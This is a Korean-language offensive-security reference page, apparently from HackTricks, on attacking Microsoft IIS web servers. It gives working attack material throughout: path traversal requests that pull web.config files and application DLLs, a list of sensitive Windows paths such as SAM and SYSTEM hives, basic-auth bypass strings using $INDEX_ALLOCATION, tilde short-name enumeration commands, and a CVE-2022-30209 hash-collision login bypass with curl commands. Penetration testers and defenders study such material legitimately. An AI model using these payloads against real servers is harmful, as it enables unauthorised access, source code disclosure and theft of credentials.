17 KiB
IIS - 인터넷 정보 서비스
htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
HackTricks를 지원하는 다른 방법:
- 회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
WhiteIntel
WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 무료 기능을 제공하여 회사나 고객이 스틸러 악성 코드에 의해 침해당했는지 확인할 수 있습니다.
WhiteIntel의 주요 목표는 정보 도난 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 방지하는 것입니다.
그들의 웹사이트를 확인하고 무료로 엔진을 시험해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
테스트 가능한 실행 파일 확장자:
- asp
- aspx
- config
- php
내부 IP 주소 노출
302를 받는 모든 IIS 서버에서 Host 헤더를 제거하고 HTTP/1.0을 사용해보면 응답 내부의 Location 헤더가 내부 IP 주소를 가리킬 수 있습니다:
nc -v domain.com 80
openssl s_client -connect domain.com:443
내부 IP를 노출하는 응답:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
.config 파일 실행
.config 파일을 업로드하고 해당 파일을 사용하여 코드를 실행할 수 있습니다. 이를 수행하는 한 가지 방법은 파일 끝에 HTML 주석 내에 코드를 추가하는 것입니다: 여기에서 예제 다운로드
이 취약점을 악용하는 더 많은 정보 및 기술은 여기에서 확인할 수 있습니다.
IIS 탐지 브루트포스
다음으로 만든 목록을 다운로드하세요:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
이 목록은 다음 몁단의 내용을 병합하여 만들어졌습니다:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
확장자를 추가하지 않고 사용하십시오. 필요한 파일에는 이미 확장자가 포함되어 있습니다.
경로 이탈
소스 코드 노출
전체 설명은 여기에서 확인하십시오: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
요약하면, 응용 프로그램 폴더 내에 "assemblyIdentity" 파일과 "namespaces"에 대한 참조가 포함된 여러 web.config 파일이 있습니다. 이 정보를 통해 실행 파일이 어디에 있는지 알 수 있고 다운로드할 수 있습니다.
다운로드한 Dll에서는 새로운 namespaces를 찾을 수 있으며 액세스하고 web.config 파일을 가져와 새로운 namespaces와 assemblyIdentity를 찾아야 합니다.
또한, 파일 connectionstrings.config 및 global.asax에는 흥미로운 정보가 포함될 수 있습니다.\
{% endhint %}
.Net MVC 응용 프로그램에서 web.config 파일은 "assemblyIdentity" XML 태그를 통해 응용 프로그램이 의존하는 각 이진 파일을 지정하여 중요한 역할을 합니다.
이진 파일 탐색
아래는 web.config 파일에 액세스하는 예시입니다:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
이 요청은 다양한 설정 및 종속성을 나타냅니다.
- EntityFramework 버전
- 웹페이지, 클라이언트 유효성 검사 및 JavaScript를 위한 AppSettings
- 인증 및 런타임을 위한 System.web 구성
- System.webServer 모듈 설정
- Microsoft.Owin, Newtonsoft.Json, System.Web.Mvc와 같은 다양한 라이브러리를 위한 Runtime 어셈블리 바인딩
이러한 설정은 특정 파일(/bin/WebGrease.dll와 같은)이 응용 프로그램의 /bin 폴더에 위치해 있음을 나타냅니다.
루트 디렉토리 파일
루트 디렉토리에 있는 파일들(/global.asax 및 민감한 비밀번호를 포함하는 /connectionstrings.config 등)은 응용 프로그램의 구성 및 작동에 필수적입니다.
네임스페이스 및 Web.Config
MVC 응용 프로그램은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스를 위한 추가 web.config 파일을 정의합니다. 다른 web.config를 다운로드하는 요청을 통해 이를 확인할 수 있습니다.
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
DLL 다운로드
사용자 지정 네임스페이스 언급은 /bin 디렉토리에 있는 "WebApplication1"이라는 DLL을 시사합니다. 이에 이어 WebApplication1.dll을 다운로드하는 요청이 표시됩니다:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
이는 System.Web.Mvc.dll 및 System.Web.Optimization.dll과 같은 다른 필수 DLL이 /bin 디렉토리에 존재할 가능성을 시사합니다.
DLL이 WebApplication1.Areas.Minded라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 해당 파일은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, /Minded/Views/web.config로의 요청은 다른 DLL인 WebApplication1.AdditionalFeatures.dll의 존재를 나타내는 구성 및 네임스페이스를 공개할 수 있습니다.
공통 파일
여기에서
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 에러
만약 다음과 같은 에러를 본다면:
이것은 서버가 올바른 도메인 이름을 Host 헤더 내에서 받지 못했음을 의미합니다.
웹 페이지에 접근하기 위해 제공된 SSL 인증서를 확인하여 도메인/서브도메인 이름을 찾을 수 있습니다. 그곳에 없다면 올바른 것을 찾을 때까지 VHosts를 무차별 대입(brute force) 해야 할 수도 있습니다.
찾아볼 가치가 있는 오래된 IIS 취약점
Microsoft IIS 물결 문자 "~" 취약점/기능 - 짧은 파일/폴더 이름 노출
이 기법을 사용하여 발견된 각 폴더 내의 폴더와 파일을 열거해볼 수 있습니다(기본 인증이 필요한 경우에도).
이 기법의 주요 제한 사항은 서버가 취약하다면 각 파일/폴더 이름의 처음 6자 및 파일의 확장자의 처음 3자까지만 찾을 수 있다는 것입니다.
이 취약점을 테스트하기 위해 https://github.com/irsdl/IIS-ShortName-Scanner를 사용할 수 있습니다:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
원본 연구: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
또한 metasploit을 사용할 수 있습니다: use scanner/http/iis_shortname_scanner
기본 인증 우회
기본 인증(IIS 7.5)을 우회하려면 다음을 시도해보세요: /admin:$i30:$INDEX_ALLOCATION/admin.php
또는 /admin::$INDEX_ALLOCATION/admin.php
이 취약점과 마지막 취약점을 혼합하여 새로운 폴더를 찾고 인증을 우회할 수 있습니다.
ASP.NET Trace.AXD 디버깅 활성화
ASP.NET에는 디버깅 모드가 포함되어 있으며 해당 파일은 trace.axd
입니다.
일정 기간 동안 응용 프로그램에 대한 모든 요청의 매우 상세한 로그를 유지합니다.
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보 및 아마도 사용자 이름과 비밀번호도 포함될 수 있습니다.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH 쿠키
ASPXAUTH는 다음 정보를 사용합니다:
validationKey
(문자열): 서명 유효성 검사에 사용할 16진수로 인코딩된 키.decryptionMethod
(문자열): (기본값 "AES").decryptionIV
(문자열): 16진수로 인코딩된 초기화 벡터 (기본값은 0 벡터).decryptionKey
(문자열): 복호화에 사용할 16진수로 인코딩된 키.
그러나 일부 사람들은 이러한 매개변수의 기본값을 사용하고 사용자의 이메일을 쿠키로 사용할 수 있습니다. 따라서, 공격 대상 서버에서 사용자의 이메일을 사용자로 만드는 웹을 찾을 수 있다면, 두 번째 서버에서 얻은 쿠키를 첫 번째 서버에서 사용하여 사용자를 흉내 낼 수 있을 수도 있습니다.
이 공격은 이 기술 문서에서 작동했습니다.
캐시된 암호를 사용한 IIS 인증 우회 (CVE-2022-30209)
전체 보고서 여기에서: 코드에서의 버그로 인해 사용자가 제공한 암호를 제대로 확인하지 않았기 때문에, 이미 캐시에 있는 키에 해당하는 암호 해시가 일치하는 공격자는 해당 사용자로 로그인할 수 있습니다.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
WhiteIntel
WhiteIntel은 다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해되었는지 확인하는 무료 기능을 제공합니다.
WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.
그들의 웹사이트를 방문하여 무료로 엔진을 시도해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 AWS 해킹을 전문가로 배우세요!
HackTricks를 지원하는 다른 방법:
- HackTricks에 귀사를 광고하거나 HackTricks를 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구입하세요
- The PEASS Family를 발견하세요, 저희의 독점 NFTs 컬렉션
- 💬 디스코드 그룹이나 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.